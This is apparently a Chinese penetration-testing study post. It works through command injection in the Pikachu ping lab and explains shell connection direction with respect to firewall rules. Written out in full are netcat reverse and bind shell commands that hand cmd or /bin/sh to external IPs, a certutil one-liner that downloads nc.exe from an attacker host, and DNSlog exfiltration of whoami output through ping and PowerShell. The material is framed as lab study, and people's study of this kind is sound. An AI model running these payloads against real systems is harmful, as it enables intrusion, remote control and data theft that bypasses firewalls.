banner
NEWS LETTER

反弹SHELL&不回显带外&正反向连接&防火墙出入站&文件下载

Scroll down

常规基本渗透详解

渗透测试常用命令

渗透测试常用术语


1:文件上传下载-解决无图形化&解决数据传输

文件下载命令生成

Linux:wget curl python ruby perl java等下载命令

Windows:powershell citsadmin msiexec等下载命令


2:反弹Shell命令-解决数据回显&解决数据通讯

反弹Shell命令生成

3:防火墙绕过- 正向连接&反向连接&内网服务器

正向连接:我主动连接,对方本地监听(只要是主动出去的都是正向)

反向连接:对方主动给出去,我本地监听(找内网,只能反向)


Linux控制Windows
Windows:把cmd放到5566端口:nc -e cmd -lvp 5566
Linux:主动连接对方5566端口:ncat 1.1.1.1 5566

Windows:主动把cmd放到对方5566端口:nc -e cmd 1.1.1.1 5566
Linux:监听5566连接:ncat -lvp 5566


Windows控制Linux
Windows:主动连接对方5566端口:nc 1.1.1.1 5566
Linux:把SH放到5566端口:ncat -e /bin/sh -lvp 5566

Windows:监听5566端口:nc -lvp 5566
Linux:主动把SH放到对方5566端口:ncat -e /bin/sh 1.1.1.1 5566

应用环境在于内网环境
例如要控制内网的某一台机器的权限,内网的机器需要主动出来(因为由于互联网的IP的唯一性,内网机器都是统一使用一个IP出去的。)
不管是谁控制谁,都需要内网主动出来

Windows管道符
| (将左边命令的输出作为右边命令的输入)

&(执行左边的命令,然后执行右边的命令,不考虑左边命令的成功或失败)

||(只有当左边的命令失败执行后,才会执行右边的命令)

&&(只有当左边的命令成功执行后,才会执行右边的命令)


Linux管道符
; (执行左边的命令,然后执行右边的命令,不考虑左边命令的成功或失败)

| (将一个命令的输出作为另一个命令的输入)

|| (只有当左边的命令失败执行后,才会执行右边的命令。)

& (在后台执行命令,不会阻塞当前的 shell)

&& (只有当左边的命令成功执行后,才会执行右边的命令)

``(命令替换。执行括在其中的命令,并将其输出替换到原位置)



Pikachu靶场搭建

Pikachu靶场ping命令漏洞

  1. 判断系统,admin是Windows,root是Liunx

    1
    ping 127.0.0.1 | whoami # 来判断

    返回了izy05lwempmv08z\administrator,所以是Windows

  2. Windows没有自带的nc
    需要使用到自己的nc下载地址,反弹Shell命令生成,让对方下载

  3. 让他从我的地址下载nc到c盘
    输入我的nc下载地址,执行成一条命令

    1
    127.0.0.1 | certutil.exe -urlcache -split -f http://1.1.1.1:80/nc.exe c:\\nc.exe
  4. nc下载成功,反弹,以下两种都可执行

    1
    2
    3
    4
    5
    127.0.0.1 | c:\\nc.exe -e cmd -lvp 5566
    ncat 1.1.1.1 5566

    127.0.0.1 | c:\\nc -e cmd 1.1.1.1 5566
    ncat -lvp 5566

Windows服务器防火墙策略:
入站检测严格,出站检测轻松

别人开启防火墙5566入站策略,就只能主动出去

1
2
nc -e cmd 8.208.24.66 5566
ncat -lvp 5566

开启防火墙5566出站策略,就只能等别人主动进来

1
2
nc -e cmd -lvvp 5566
ncat 8.208.119.73 5566

4:已知有漏洞数据不回显-带外查询 Dig

已知有漏洞,解决数据不回显问题:

  1. 使用反弹shell(在目标系统上执行命令,将交互式shell返弹给我,可以让我继续在目标系统上执行命令并接收输出)
  2. 带外查询(带外查询可绕过防火墙,无回显问题,就使用Dig网站查看带外的数据)

Pikachu靶场ping命令,数据不回显问题

Linux使用带外查询网站

1
ping \`whoami`.e1ea9aba04.ipv6.1433.eu.org. 

可以带外出whoami命令 ( 这种写法,只有在Linux有效,Windows不支持)



Windows使用带外查询网站

先尝试ping一下,能否执行命令

Windows服务器是不识别``的,cmd不支持赋值变量,但是PowerShell可以

用PowerShell赋值whoami,然后使用带外网站,再赋值网址,把数据带出来

但是由于Windows系统,结果带有“\” 导致ping无法执行

需要replace “\” 为字母或其他来分割带外出来的数据

最后就可以结果带出来了,ping到带外网站就可以直接带出Windows的数据了

并且ping命令能够绕过防火墙

1
2
3
4
5
6
7
8
$x=whoami
$x=$x.Replace('\','xxx')
$y='.47fa801887.ipv6.1433.eu.org.'
$z=$x+$y
ping $z

#组合起来
127.0.0.1 | powershell $x=whoami;$x=$x.Replace('\','xxx');$y='.91b66006c6.ipv6.1433.eu.org.';$z=$x+$y;ping $z

总结

命令&反弹&带外:

基础命令:Linux,Win-cmd,Win-powershell

文件下载:在线命令生成,系统分类Linux:wget curl pytho ruby perl java等,Windows:powershell citsadmin msiexec等

反弹Shell:在线命令生成,正向本地监听等待对方连接,反向连接注定给出去对方监听,连接方向应用场景防火墙入站出站策略,内网服务器只能让内网主机主动出去反向连接

数据不回显:利用数据访问外部DNSLOG带出去,接收方式(数据给参数名,服务器接收参数名的值,将值进行处理)

http://你的ip//getdata.php?data=数据
你自己的搭建的http://你的ip//getdata.php,数据=你要带外的信息
写getdata.php接受data后面的数据,数据给参数名
服务器接收参数名的值,将值进行处理


复现:

防火墙测试无法实现,不知道为什么

其他文章
请输入关键词进行搜索